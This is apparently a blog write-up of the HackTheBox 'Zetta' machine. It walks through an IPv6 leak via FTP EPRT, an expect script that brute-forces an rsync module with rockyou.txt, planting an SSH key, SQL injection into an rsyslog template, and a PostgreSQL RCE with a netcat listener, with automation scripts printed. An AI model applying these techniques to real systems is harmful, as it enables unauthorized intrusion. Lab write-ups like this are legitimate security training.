HackTheBox — Zetta

Yan1x0s
7 min readFeb 23, 2020

--

Greetings folks,
This is gonna be my write-up of Zetta from HackTheBox.
If you notice that i miss-understood something, let me know please.

https://www.hackthebox.eu/home/machines/profile/204

About the box

Zetta is hard-rated machine on HackTheBox.
It had an IPv6 rsync server with a hidden module. Once found a brute force is needed to get it’s content which includes the user flag. After that, a rsyslogger is exploited via Template SQL injection to pivot to postgres user then do a privilege escalation via password scheme to get root.

I would like to thank jkr for this cool box.

Recon

I first run an initial nmap scan by invoking the command, saving it to my nmap directory:

nmap -sV -sC -oA nmap/zetta 10.10.10.156

The result is :

We have 3 ports open.
- 21/FTP : Pure-FTPd server .
-22/SSH : latest version of OpenSSH.
- 80/HTTP : latest version of nginx web server.

Everything seems normal.

Initial foothold :

We check the web server

It looks like a file share service.

What got my eye here is that they support FTP with FXP (we may find some new commands to exploit) and they are working on the dual stack mode (Both IPv4 and IPv6 are supported).

And here are some credentials for ftp service.
BTW, they are randomly generated

After that, i got nothing from this web server :no directories, no files, nothing interesting.

Leaking IPv6 address

Since we have FTP creds, why not check that service ?

Playing around with ftp

Empty responses for every command i type.
I wanted to dig deep for the FTP extension : i was reading the RFC and i found an interesting command :

The plan was to get zetta’s IPv6 address :
I picked my IPv6 and tried to open a data connection to my host.

[*] Cool : IPv6 got leaked !

Getting user

Scanning the new IP gave us the same port + a new one 8730 :

We got an rsync server.
Let’s scan for the available modules :

Trying to read /etc/passwd :

Cool, it worked =D

To make the work easier, i mirrored the whole etc folder :

We list the content :

First thing first, read the rsync conf file :

So, all .git folders who are inside /etc are not included, i will keep that in mind !
And at the end, we find :

A new hidden module but it’s password protected and the secret file is not there….

At this point, i wasted a lot of time trying to make the nmap script work…

But no luck…
I decided to script for the first time using expect :

#!/usr/bin/expect -fset fh [ open "/usr/share/wordlists/rockyou.txt" r]set fileData [read $fh]close $fhset data [split $fileData "\n"]
foreach password $data {
spawn rsync rsync://roy@zetta6.htb/home_roy/ --port 8730
expect "Password: " { send "$password\r" }
lassign [wait] pid spawnid os_error_flag valueif {$value != 5} {
puts "Found password : $password"
exit $value
}
}

It worked as charm ❤

And we got user

Getting root

I noticed that the IPv6 address changes regularly and i needed to get it so i continue where i stopped last time.
I did a little script to automatically connect to the ftp server sends a EPRT command and add the new address to my hosts.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Author: Yan1x0s
from multiprocessing.pool import ThreadPool
from python_hosts import Hosts, HostsEntry
import ftplib, netifaces, subprocess, os, time
r_host = 'zetta.htb'def listen(): p = subprocess.getoutput("netcat -6 -lnvp {}".format(l_port))
return p
def add_host(ipv6zetta): h = Hosts()
entry = HostsEntry(entry_type='ipv6', address=ipv6zetta, names=['zetta6.htb'])
h.add([entry], force=True, merge_names=True)
h.write()
def connect_ftp(): addrs = netifaces.ifaddresses('tun0')
ipv6 = addrs[netifaces.AF_INET6][0]['addr']
username = 'BVgb0SG9agzpH1x4AmDLUw3fcv3K7uJf'
password = 'BVgb0SG9agzpH1x4AmDLUw3fcv3K7uJf'
ftp = ftplib.FTP(r_host, username, password)
ftp.putline("EPRT |2|{}|1337|".format(ipv6))
ftp.putline("LIST")
ftp.close()
if __name__ == '__main__': if os.getuid() != 0 :
print("This program needs to run as root")
exit(1)
pool = ThreadPool(processes=1)
async_thread = pool.apply_async(listen)
connect_ftp()
ipv6zetta = async_thread.get().split('\n')[1].split(' ')[3]
add_host(ipv6zetta)

Since now, we have access to the home_roy module we can add some files to roy’s home directory.
Why not add our public key as an authorized_keys in .ssh folder?

We ssh in :

We notice that there is a to do list hidden file :

i converted it to a json file for a more readable format :

In this list, what caught me is :

They installed a syslog server and they are using postgresql for storing the logs.

They are using a password scheme which may be useful for privilege escalation once we find the secret !

Okey, now what ?
We remember that .git files where excluded from etc module, let’s search for them

i checked there logs one bye one

The one that seems promising is the rsyslog because

This configuration is vulnerable to an SQL injection in the template because we are inserting values (msg, timereported) that aren’t escaped or filtered.
The timereported has a date format so i jumped to msg field.
First, i went to read this blog about how to play with syslog using logger. Then, i tried to inject a quote as a msg and see the logs.

As you can see it triggered an SQL syntax error =D
Btw, i used -p local7.info (it’s the priority of the message) because it was configured like that :

Now what ?

Why not alter postgres’s password and see what we can do ?

Daaaaamn !

I don’t know why i didn’t check the postresql version but thank god i saw it while logging in and googled about it !

I found this amazing RCE vulnerability in postgreSQL > 9.3❤

It was a nice one !

Automated this last process :

def connect_roy(): cat_user = 'cat /home/roy/user.txt' try:
client = paramiko.SSHClient()
client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(hostname = 'zetta.htb', username = "roy", key_filename='./.ssh/id_rsa', passphrase=None, look_for_keys=True, timeout=5000)
except AuthenticationException as error:
print("Couldn't authenticate using the private key")
raise error
else:
stdin, stdout, stderr = client.exec_command(cat_user, get_pty=True)
print("[*] user flag: ", end="")
for data in iter(stdout.readline, ""):
print(data, end="")
client.exec_command(sqli) pid = os.fork()
if pid == 0 :
os.system("xterm -hold -e 'netcat -lnvp {}' &".format(l_port) )
exit(0)
else :
connect_postgres(client)
finally:
client.close()

Listing files of postgres’s home

We got the secret key for the password scheme :D

Give it a try for root

And voila :P

Final script that roots the whole machine :

https://pastebin.com/vVG1G3R3

I hoped you learned something ^_^
Thanks for reading =)

Wiw,

#Yan1x0s

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app

--

--

Yan1x0s
Yan1x0s

Written by Yan1x0s

Talent doesn’t exist. It is the desire of doing things

No responses yet

Write a response